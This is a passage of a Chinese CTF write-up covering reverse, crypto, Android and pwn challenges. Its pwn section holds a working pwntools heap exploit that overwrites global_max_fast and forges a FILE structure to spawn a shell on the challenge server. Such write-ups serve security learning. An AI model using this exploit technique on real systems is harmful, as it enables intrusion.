    charset = "0123456789abcdef"
    for a in charset:
        for b in charset:
            for c in charset:
                for d in charset:
                    for e in charset:
                        tmps = a + b + c + d + e
                        if md5(tmps.encode()).hexdigest() == s:
                            return tmps

res = bf("1F862D87DB3293B81C7D2935477A22EA") #手動將4和5,E和F進行替換
dst = [0x000000A8, 0x000000CE, 0x000000CE, 0x000000D7, 0x000000B1, 0x0000005A, 0x00000020, 0x0000004B, 0x000000AB, 0x000000A2, 0x00000023, 0x000000FA, 0x000000FC, 0x000000F0, 0x000000DF, 0x000000A5, 0x000000B4, 0x00000077, 0x000000E6, 0x00000041, 0x000000C4, 0x00000065, 0x00000084, 0x00000091, 0x0000008B, 0x0000000A, 0x000000E6, 0x000000AE, 0x000000BB, 0x000000B5, 0x00000037, 0x000000FD, 0x000000C0, 0x000000CB, 0x00000072, 0x00000078, 0x00000013, 0x00000091, 0x000000D3, 0x0000005E]
keytable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[::-1]
key = []
v1 = -2078209981
for i in range(256):
    v13 = ((v1 * i) >> 32) + i
    v14 = (v13 >> 5) + (v13 >> 31)
    if i - 62*v14 < 0:
        print(i, i - 62*v14)
    key.append(keytable[i - 62 * v14])

key = ''.join(key).encode()
dst = bytes(dst)
rc4 = ARC4(key)
RC4ans = rc4.encrypt(dst)
src = []
for i in range(len(RC4ans)):
    src.append(RC4ans[i] ^ i)
src = bytes(src).decode()

table = "ZO6Kq79L&CPWvNopzQfghDRSG@di*kAB8rsFewxlm+/u5a^2YtTJUVEn0$HI34y#"
tmp = []
for x in src:
    if x == '=':
        break
    tmp.append(table.index(x))

def invshift(m, k, c):
    revm = 0
    if k < 0:
        k = -k
        cnt = 0
        while cnt < 64:
            hk = (revm << (64 - k)) & 0xffffffffffffffff
            tmp = (hk & c) ^ m
            revm = (revm << k) + (tmp >> (64 - k))

            m = (m << k) & 0xffffffffffffffff
            c = (c << k) & 0xffffffffffffffff
            cnt += k
        return revm >> (cnt - 64)
    else:
        cnt = 0
        while cnt < 64:
            lk = revm >> cnt
            tmp = ((lk & c) ^ m) & ((1 << k) - 1)
            revm = (tmp << (cnt + k)) + revm
            m = m >> k
            c = c >> k
            cnt += k
        return (revm >> k) & 0xffffffffffffffff

ans = ""
for x in tmp:
    ans += bin(invshift(x, -3, 0x3f))[2:].rjust(6, '0')
flag = ""
for i in range(0, len(ans), 8):
    flag += chr(int(ans[i:i+8], 2))

flag = 'e25' + res + flag
print(flag)

image-20220124222727256

flag:e25be952-e74b-4649-bc0d-236342079a59

Crypto

babyrsa

看題目就是一個rsa加密,給了e、N、c求m。

如果N能分解的話就是一個RSA模板題了,用http://www.factordb.com/試試發現還真可以。

image-20220123122511290

分解拿到p和q,用sage手擼一個解密演算法:

e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
c = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524
N = p*q
print(N == 13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929)

phi = (p-1) * (q-1)
d = inverse_mod(e, phi)
print(pow(c, d, N))

image-20220123121145005

然後丟進python裡long_to_bytes一下拿到flag:

image-20220123121202535

flag:01d_Curs3_c4Me_Again

Accelerate your time

看到附件給了apk,啪的一下就點進來了,很快啊(x

是個kotlin寫的apk,以前沒逆什麼kotlin的經驗,一通瞎做搞出來的orz

直接用jeb看(類似於看平時apk的java層),翻包名看到flag,感覺是個重點包,定位到主行為函式

【wp】HWS計劃2021硬體安全冬令營線上選拔賽image-20220124150952531

可以看到很明顯的check,是把當前的時間做了一個md5塞進大括號裡,再拼上使用者名稱和密碼,最後再做一個md5跟已知字串比較。這裡的md5取的是[8:24]↓

image-20220124152902690

hour我直接大膽猜測是4,前面看到有特判

image-20220124153715949

min和sec沒看到特判,但是60*60的空間完全可以爆破

username和password的xor聯絡在LoginDataSource裡,並且username == trandmark

image-20220125223349886

安卓包的字串內容是寫在res/strings.xml裡面的,只要拿到name就可以拿到trandmark的內容:

image-20220124154007240

使用者名稱是Android,密碼可以異或得到,md5的結果同樣在strings.xml中,須做id->name、name->content的對映

image-20220124154227226

image-20220124154246364

flag就可以出來了,爆破分秒寫exp:(其實感覺這題才應該叫TimeTravel才對= =只能在特定時間拿到flag嘛)

from hashlib import md5

#username^password
xorarr = [6, 28, 1, 19, 27, 5, 29]
username = "Android"
password = ""
for i in range(len(xorarr)):
    password += chr(ord(username[i]) ^ xorarr[i])

hashstr_8_23 = "1a9852e856816224"
h = str(4)
for m in range(60):
    for s in range(60):
        flag = "flag{" + md5((h+str(m)+str(s)).encode()).hexdigest()[8:24] + "}" + username + password
        if md5(flag.encode()).hexdigest()[8:24] == hashstr_8_23:
            print(flag)

image-20220124154428658

flag:80d0169d22da3c35

PWN

送分題

送分題真的是送分題啊,看到做題的人異常地多,於是去找原題,發現真的找到了wp

https://www.anquanke.com/post/id/258512(justpwnit),直接打wp的exp打通了(

from pwn import *
# from LibcSearcher import *
# context.log_level='debug'
# debug = 1
file_name = './pwn'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc_name = './libc-2.27.so'
ip = '1.13.162.249'
prot = '10001'
# if debug:
    # r = process(file_name)
    # libc = ELF(libc_name)
# else:
r = remote(ip,int(prot))
libc = ELF(libc_name)

# def debug():
#     gdb.attach(r)
#     raw_input()


def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _wide_data = 0,
              _mode = 0):
    file_struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    file_struct = file_struct.ljust(0x88, "\x00")
    file_struct += p64(_lock)
    file_struct = file_struct.ljust(0xa0, "\x00")
    file_struct += p64(_wide_data)
    file_struct = file_struct.ljust(0xc0, '\x00')
    file_struct += p64(_mode)
    file_struct = file_struct.ljust(0xd8, "\x00")
    return file_struct

file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
ru('Now you can get a big box, what size?')
sl(str(0x1430))
ru('Now you can get a bigger box, what size?')
sl(str(0x5000))
ru('Do you want to rename?(y/n)')
sl('y')
ru('Now your name is:')
main_arena = u64(r.recv(6) + '\x00\x00')
li("main_arena",main_arena)
libc_base = main_arena-0x3ebca0
system = libc_base+libc.symbols['system']
global_max_fast = libc_base+0x3ed940
IO_list_all = libc_base + libc.symbols['_IO_list_all']
IO_str_jumps = 0x3e8360 + libc_base
payload = p64(main_arena)+p64(global_max_fast-0x10)
binsh = 0x00000000001b40fa + libc_base
sl(payload)
# debug()
ru("Do you want to edit big box or bigger box?(1:big/2:bigger)\n")
sl("1")
ru(':\n')
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,
                    _IO_write_base=0,
                    _IO_write_ptr=1,
                    _IO_buf_base=binsh,
                    _mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system)
sl(fake_file[0x10:])
ri()

image-20220124150811994

flag:5hen_m3_5hi_kuai_1e_xin9_Qiu

相關文章